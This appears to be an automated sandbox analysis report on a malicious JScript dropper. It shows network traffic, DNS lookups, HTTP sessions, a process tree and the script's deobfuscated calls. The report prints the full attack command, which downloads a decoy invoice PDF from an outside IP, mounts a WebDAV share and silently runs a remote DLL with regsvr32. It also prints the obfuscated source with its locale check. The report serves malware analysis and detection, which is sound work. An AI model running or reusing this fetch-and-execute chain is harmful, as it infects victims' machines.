Jan 10, 2025 22:07:35.540792942 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.540805101 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.540817022 CET	80	49710	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:35.540834904 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.540848970 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.663208008 CET	49710	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:35.994599104 CET	49722	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:36.000360012 CET	8888	49722	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:36.000432014 CET	49722	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:36.000593901 CET	49722	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:36.005390882 CET	8888	49722	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:36.834669113 CET	8888	49722	193.143.1.205	192.168.2.7
Jan 10, 2025 22:07:36.887123108 CET	49722	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:38.177876949 CET	49722	8888	192.168.2.7	193.143.1.205
Jan 10, 2025 22:07:51.202756882 CET	61692	53	192.168.2.7	1.1.1.1
Jan 10, 2025 22:07:51.207640886 CET	53	61692	1.1.1.1	192.168.2.7
Jan 10, 2025 22:07:51.207726002 CET	61692	53	192.168.2.7	1.1.1.1
Jan 10, 2025 22:07:51.212637901 CET	53	61692	1.1.1.1	192.168.2.7
Jan 10, 2025 22:07:51.674737930 CET	61692	53	192.168.2.7	1.1.1.1
Jan 10, 2025 22:07:51.679856062 CET	53	61692	1.1.1.1	192.168.2.7
Jan 10, 2025 22:07:51.679939032 CET	61692	53	192.168.2.7	1.1.1.1
Jan 10, 2025 22:08:04.750226974 CET	64798	53	192.168.2.7	162.159.36.2
Jan 10, 2025 22:08:04.755070925 CET	53	64798	162.159.36.2	192.168.2.7
Jan 10, 2025 22:08:04.755220890 CET	64798	53	192.168.2.7	162.159.36.2
Jan 10, 2025 22:08:04.760353088 CET	53	64798	162.159.36.2	192.168.2.7
Jan 10, 2025 22:08:05.200185061 CET	64798	53	192.168.2.7	162.159.36.2
Jan 10, 2025 22:08:05.205281019 CET	53	64798	162.159.36.2	192.168.2.7
Jan 10, 2025 22:08:05.205338955 CET	64798	53	192.168.2.7	162.159.36.2

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 22:07:43.809205055 CET	54623	53	192.168.2.7	1.1.1.1
Jan 10, 2025 22:07:51.202264071 CET	53	56082	1.1.1.1	192.168.2.7
Jan 10, 2025 22:08:04.749742985 CET	53	51875	162.159.36.2	192.168.2.7
Jan 10, 2025 22:08:05.211213112 CET	59248	53	192.168.2.7	1.1.1.1
Jan 10, 2025 22:08:05.218466043 CET	53	59248	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 22:07:43.809205055 CET	192.168.2.7	1.1.1.1	0xd776	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:08:05.211213112 CET	192.168.2.7	1.1.1.1	0x877d	Standard query (0)	206.23.85.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 22:07:43.817017078 CET	1.1.1.1	192.168.2.7	0xd776	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 22:07:44.707151890 CET	1.1.1.1	192.168.2.7	0xc867	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:07:44.707151890 CET	1.1.1.1	192.168.2.7	0xc867	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 22:08:05.218466043 CET	1.1.1.1	192.168.2.7	0x877d	Name error (3)	206.23.85.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49710	193.143.1.205	80	7580	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:07:34.011118889 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 22:07:34.797360897 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:07:34 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 22:07:34.797380924 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 22:07:34.797391891 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 22:07:34.797409058 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 22:07:34.797421932 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 22:07:34.797432899 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 22:07:34.797446012 CET	1236	IN	Data Raw: 7f d2 56 b9 b0 ca 60 14 1a 7d 8b d6 64 ac 87 ba a3 39 17 7d ba fc 73 a5 df 57 97 11 f3 ae ab 79 0e fd db 3e f7 59 b0 fa ab 59 7e f3 17 6e 2c f5 2f 62 f9 75 2c bc 94 a3 af e0 12 f7 b7 ca 3b 6d 78 b3 f5 d7 50 7e 36 a6 fe a7 10 80 2f 56 fd 3f 52 f1 Data Ascii: V`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(n7'iLlG?o9ZLAuI}uV'bF%&0$O-TfWS*ysl]ok:5UDsX\|FhI
Jan 10, 2025 22:07:34.797457933 CET	1236	IN	Data Raw: a1 87 7e ac 1e 3c 0f 5f c7 dc cf 7e d4 47 ed 42 06 5d e8 4e 7b a1 98 3b ed 12 e3 cf 7c b1 0d 60 a3 d6 90 4c b0 b3 16 38 30 b4 89 a1 8f 4d 0c ed 0f 0c 6d 62 e8 59 1f 43 8f 6e 8f 06 31 b4 db 94 2b 3d b4 4d a2 c1 43 fe 57 19 0b 0d 62 e8 71 17 43 2f Data Ascii: ~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8*#5L>8f\^xmI3#^{hudM/eG_\?c
Jan 10, 2025 22:07:34.797470093 CET	1236	IN	Data Raw: d6 ec 57 ea 24 3a fb 50 32 22 1a 86 48 49 a2 9a 99 9f 0d 33 90 34 50 59 de fb 5c 31 fb 7b 7d a2 2a ac 30 d5 63 aa 3a 83 96 53 a3 19 21 34 f9 2c ac 66 7a 78 36 97 1d 17 9d 22 34 cb 54 73 13 8e 7e e3 b1 7e ae 7c ab 35 17 66 de 8a 95 eb 55 47 4b 68 Data Ascii: W$:P2"HI34PY\1{}*0c:S!4,fzx6"4Ts~~\|5fUGKhe?0P3K~0d80]f6WDLo/5ER^JQ9YX]3]8VU[Zb(-X`480mzq~wbuC1T@7'il3}\|=
Jan 10, 2025 22:07:34.797518015 CET	1220	IN	Data Raw: f9 7c d5 25 06 09 d3 8b ee 67 09 6b da 99 94 50 69 c7 92 cc 7e 76 cc a9 af fa 55 d3 3d d4 8f 13 2e b1 5b b5 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d Data Ascii: \|%gkPi~vU=.[\BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY
Jan 10, 2025 22:07:34.846781015 CET	1236	IN	Data Raw: 31 30 30 30 0d 0a 63 aa 7a 67 af 6c ee 35 c3 aa be cf 86 87 4b 7e e7 94 2b 6d 78 d0 64 61 6a d5 b4 da d1 76 66 4a 68 18 6a 0b cf 98 ee 7a b9 e1 50 d3 43 ef dd 09 b6 e9 8d 5a 99 e6 f5 51 a7 7e a6 2f b7 f1 d5 2c cb 95 24 6a 8e 58 35 f9 2c 37 16 9a Data Ascii: 1000czgl5K~+mxdajvfJhjzPCZQ~/,$jX5,7+Bf\|HQf;^Nk2.~k]4?.5nla8Tb+pkZ-}z:C`ItH&7'ilG?Y27

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49722	193.143.1.205	8888	7816	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 22:07:36.000593901 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 22:07:36.834669113 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:07:36 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	16:07:30
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2835523725329532164.js"
Imagebase:	0x7ff69ffa0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	16:07:31
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll
Imagebase:	0x7ff675fa0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	16:07:31
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	16:07:31
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	16:07:35
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	16:07:35
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff675fa0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	16:07:35
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7b58e0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	16:07:35
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	16:07:35
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	16:07:36
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1608,i,2018066651956470548,2699401686633846436,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function idfmsmk() {	idfmsmk() ➔ undefined
1	gyfrf = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var voqltf = this[rzxvwpsum + krotpckn + qgkrqbz + ohdgosvnn + qbkbh + sbbtkc + aazbtqns + olrclqbp] ( this[tbqfi + hoahm + gqnvbup + qgkrqbz + aqknpoef + rzxvwpsum + olrclqbp][tened + qgkrqbz + qbkbh + krotpckn + olrclqbp + qbkbh + gsmla + hytcze + oaoprqfgp + qbkbh + gqnvbup + olrclqbp] ( tbqfi + hoahm + gqnvbup + qgkrqbz + aqknpoef + rzxvwpsum + olrclqbp + peymjv + hoahm + caaragmt + qbkbh + byslrfg + byslrfg ) [vskvbumps + qbkbh + osihjbj + vskvbumps + qbkbh + krotpckn + vjzmcf] ( bcigomsn + obdyc + ctiermjs + rzlleb + nfxsklr + tened + anohxfkla + vskvbumps + vskvbumps + ctiermjs + uqdsf + rwjaz + nfxsklr + anohxfkla + hoahm + ctiermjs + vskvbumps + kvdxsic + tened + uoiqg + aazbtqns + olrclqbp + qgkrqbz + uoiqg + byslrfg + mgizj + vvcmab + krotpckn + aazbtqns + qbkbh + byslrfg + kvdxsic + sbbtkc + aazbtqns + olrclqbp + qbkbh + qgkrqbz + aazbtqns + krotpckn + olrclqbp + aqknpoef + uoiqg + aazbtqns + krotpckn + byslrfg + kvdxsic + ikayxmomx + uoiqg + gqnvbup + krotpckn + byslrfg + qbkbh ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( txusml = 0 ; txusml < gyfrf[byslrfg + qbkbh + aazbtqns + osihjbj + olrclqbp + caaragmt] ; ++ txusml )
4	{
5	if ( voqltf == gyfrf[txusml] )
6	{
7	voqltf = true;
8	break ;
9	}
10	}
11	if ( voqltf !== true )
12	this[tbqfi + hoahm + gqnvbup + qgkrqbz + aqknpoef + rzxvwpsum + olrclqbp][vzgfxijk + xcunkwwzh + aqknpoef + olrclqbp] ( );
13	this[tbqfi + hoahm + gqnvbup + qgkrqbz + aqknpoef + rzxvwpsum + olrclqbp][tened + qgkrqbz + qbkbh + krotpckn + olrclqbp + qbkbh + gsmla + hytcze + oaoprqfgp + qbkbh + gqnvbup + olrclqbp] ( tbqfi + hoahm + gqnvbup + qgkrqbz + aqknpoef + rzxvwpsum + olrclqbp + peymjv + hoahm + caaragmt + qbkbh + byslrfg + byslrfg ) [qgkrqbz + xcunkwwzh + aazbtqns] ( gqnvbup + mrjnbohhk + vjzmcf + mgizj + jknvy + gqnvbup + mgizj + rzxvwpsum + uoiqg + htznwyrp + qbkbh + qgkrqbz + ohdgosvnn + caaragmt + qbkbh + byslrfg + byslrfg + peymjv + qbkbh + dgcjsj + qbkbh + mgizj + nkecfdp + tened + uoiqg + mrjnbohhk + mrjnbohhk + krotpckn + aazbtqns + vjzmcf + mgizj + jyexhz + sbbtkc + aazbtqns + waqnwnom + uoiqg + nzotzqevr + qbkbh + nkecfdp + tbqfi + qbkbh + hytcze + vskvbumps + qbkbh + ybiedbrg + xcunkwwzh + qbkbh + ohdgosvnn + olrclqbp + mgizj + nkecfdp + gsmla + xcunkwwzh + olrclqbp + ymbcjnreu + aqknpoef + byslrfg + qbkbh + mgizj + dnuzidv + olrclqbp + qbkbh + mrjnbohhk + rzxvwpsum + dnuzidv + kvdxsic + aqknpoef + aazbtqns + waqnwnom + uoiqg + aqknpoef + gqnvbup + qbkbh + peymjv + rzxvwpsum + vjzmcf + kvxomjln + mgizj + caaragmt + olrclqbp + olrclqbp + rzxvwpsum + vemsbtbg + jknvy + jknvy + gppbdneu + xcwwlyuo + afyiooozh + peymjv + gppbdneu + rndqm + afyiooozh + peymjv + gppbdneu + peymjv + yvbrkqh + qzmziofy + lblblcc + jknvy + aqknpoef + aazbtqns + waqnwnom + uoiqg + aqknpoef + gqnvbup + qbkbh + peymjv + rzxvwpsum + caaragmt + rzxvwpsum + jyexhz + juyil + juyil + ohdgosvnn + olrclqbp + krotpckn + qgkrqbz + olrclqbp + mgizj + dnuzidv + olrclqbp + qbkbh + mrjnbohhk + rzxvwpsum + dnuzidv + kvdxsic + aqknpoef + aazbtqns + waqnwnom + uoiqg + aqknpoef + gqnvbup + qbkbh + peymjv + rzxvwpsum + vjzmcf + kvxomjln + juyil + juyil + gqnvbup + mrjnbohhk + vjzmcf + mgizj + jknvy + gqnvbup + mgizj + aazbtqns + qbkbh + olrclqbp + mgizj + xcunkwwzh + ohdgosvnn + qbkbh + mgizj + kvdxsic + kvdxsic + gppbdneu + xcwwlyuo + afyiooozh + peymjv + gppbdneu + rndqm + afyiooozh + peymjv + gppbdneu + peymjv + yvbrkqh + qzmziofy + lblblcc + ilvkuath + oaumu + oaumu + oaumu + oaumu + kvdxsic + vjzmcf + krotpckn + waqnwnom + htznwyrp + htznwyrp + htznwyrp + qgkrqbz + uoiqg + uoiqg + olrclqbp + kvdxsic + juyil + juyil + gqnvbup + mrjnbohhk + vjzmcf + mgizj + jknvy + gqnvbup + mgizj + qgkrqbz + qbkbh + osihjbj + ohdgosvnn + waqnwnom + qgkrqbz + afyiooozh + yvbrkqh + mgizj + jknvy + ohdgosvnn + mgizj + kvdxsic + kvdxsic + gppbdneu + xcwwlyuo + afyiooozh + peymjv + gppbdneu + rndqm + afyiooozh + peymjv + gppbdneu + peymjv + yvbrkqh + qzmziofy + lblblcc + ilvkuath + oaumu + oaumu + oaumu + oaumu + kvdxsic + vjzmcf + krotpckn + waqnwnom + htznwyrp + htznwyrp + htznwyrp + qgkrqbz + uoiqg + uoiqg + olrclqbp + kvdxsic + gppbdneu + lblblcc + oaumu + qzmziofy + gppbdneu + rndqm + gppbdneu + oaumu + lblblcc + yvbrkqh + gppbdneu + gppbdneu + gppbdneu + rndqm + peymjv + vjzmcf + byslrfg + byslrfg, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15801418521114.dll",0,false) ➔ 0
14	}
15	ctiermjs = "H";
16	ctiermjs = "m";
17	ctiermjs = "Y";
18	ctiermjs = "g";
19	ctiermjs = "W";
20	ctiermjs = "L";
21	ctiermjs = "e";
22	ctiermjs = "E";
23	ctiermjs = "i";
24	ctiermjs = "Y";
25	ctiermjs = "s";
26	ctiermjs = "s";
27	ctiermjs = "i";
28	ctiermjs = "m";
29	ctiermjs = "l";
30	ctiermjs = "o";
31	ctiermjs = "E";
32	afyiooozh = "e";
33	afyiooozh = "d";
34	afyiooozh = "T";
35	afyiooozh = "i";
36	afyiooozh = "Z";
37	afyiooozh = "y";
38	afyiooozh = "P";
39	afyiooozh = "L";
40	afyiooozh = "N";
41	afyiooozh = "C";
42	afyiooozh = "Q";
43	afyiooozh = "P";
44	afyiooozh = "H";
45	afyiooozh = "A";
46	afyiooozh = "N";
47	afyiooozh = "V";
48	afyiooozh = "I";
49	afyiooozh = "q";
50	afyiooozh = "e";
51	afyiooozh = "Q";
52	afyiooozh = "w";
53	afyiooozh = "b";
54	afyiooozh = "d";
55	afyiooozh = "z";
56	afyiooozh = "x";
57	afyiooozh = "M";
58	afyiooozh = "k";
59	afyiooozh = "a";
60	afyiooozh = "3";
61	caaragmt = "i";
62	caaragmt = "v";
63	caaragmt = "l";
64	caaragmt = "g";
65	caaragmt = "D";
66	caaragmt = "P";
67	caaragmt = "a";
68	caaragmt = "O";
69	caaragmt = "i";
70	caaragmt = "c";
71	caaragmt = "h";
72	caaragmt = "p";
73	caaragmt = "F";
74	caaragmt = "Y";
75	caaragmt = "T";
76	caaragmt = "b";
77	caaragmt = "P";
78	caaragmt = "c";
79	caaragmt = "D";
80	caaragmt = "C";
81	caaragmt = "W";
82	caaragmt = "N";
83	caaragmt = "a";
84	caaragmt = "N";
85	caaragmt = "m";
86	caaragmt = "N";
87	caaragmt = "h";
88	caaragmt = "r";
89	caaragmt = "j";
90	caaragmt = "p";
91	caaragmt = "P";
92	caaragmt = "h";
93	caaragmt = "z";
94	caaragmt = "t";
95	caaragmt = "Z";
96	caaragmt = "d";
97	caaragmt = "B";
98	caaragmt = "u";
99	caaragmt = "A";
100	caaragmt = "h";
101	oaoprqfgp = "Q";
102	oaoprqfgp = "E";
103	oaoprqfgp = "Q";
104	oaoprqfgp = "T";
105	oaoprqfgp = "X";
106	oaoprqfgp = "C";
107	oaoprqfgp = "R";
108	oaoprqfgp = "E";
109	oaoprqfgp = "I";
110	oaoprqfgp = "Q";
111	oaoprqfgp = "m";
112	oaoprqfgp = "z";
